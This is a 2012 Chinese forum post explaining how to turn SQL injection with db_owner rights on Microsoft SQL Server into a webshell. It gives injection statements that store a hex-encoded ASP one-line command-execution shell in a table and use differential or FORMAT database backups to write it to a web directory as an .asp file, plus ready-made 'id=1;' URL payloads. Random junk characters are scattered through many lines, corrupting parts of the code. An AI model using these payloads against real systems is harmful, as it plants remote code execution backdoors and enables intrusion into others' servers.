找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2250|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:5 i2 d; Z! L) _8 E, |
' R" q$ `6 x) }' \' N0 @
减少备份文件大小,得到可执行的webshell成功率提高不少
+ p" u7 x3 _+ o( G3 C4 |一利用差异备份' m- r; C5 q1 s) \2 C" _
加一个参数WITH DIFFERENTIAL2 p) Z4 I: c3 _

. y9 l" ?/ k. o& Y% J1
$ f% R3 O: c" z  i# G5 ~2
; e# ?5 j' T& B) B. H1 G6 d3
5 n& F6 R; S, p7 Z# A' o* Y1 H4
. v; l9 F# c" Q, R% f  F declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
5 m! ~- c( C! f- K; Ucreate table [dbo].[xiaolu] ([cmd] [image]);% V# `: y0 z# t: ?4 @% k
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)+ [( s- N' [2 a: ]% P; t+ k
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
$ N) |+ C$ u$ d; t! G& t3 a
2 @' N: K) _; ?; K6 l3 G* `二利用完全FORMAT% |: c! p0 y4 Q. q) I+ s. s" I  S
加一个参数WITH FROMAT
3 U# m2 d5 b( g4 F0 u) q( g有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以: T! K8 \: o7 k# E5 z) R7 |

9 H) C- t1 B6 d( b* g" ^1; N9 v9 b- d' `% G
2
# l: P# k1 T6 D- [3& P: S4 ^# e/ d0 l
4
4 G, J; @; |! s- k- ] declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s0 H' s* |- t5 R) K, ]% u% X% p
create table [dbo].[xiaolu] ([cmd] [image]);
' N7 _* g4 \! b, E8 n& ]' I! oinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)- c  C, X5 |0 f$ o* d
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
3 g" U9 O) ?% J  L# p4 o1 I" \; j  u# F5 `& j
总的来说就是那么简单几句,下面以备份数据库model为例子$ p' F9 b( ]7 y- M0 N  l2 D0 _
1$ |& Q; K5 r2 f) r8 X2 i5 e5 _9 ~

' L+ a( [/ ^, F/ i6 @, P: }1
& B7 X; }& S9 I8 X id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
0 d7 h- S, d: J2 i0 Q
% \: E8 m( j" y$ I2( Z1 z7 F' A4 ^2 Q$ y' f0 A

' \. N' A. R2 Q5 q14 {: M9 |6 i, q  h  Z5 E
id=1;backup database model to disk='你的路径‘ with differential,format;-- 5 y  b$ l2 F$ k9 h! H0 }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表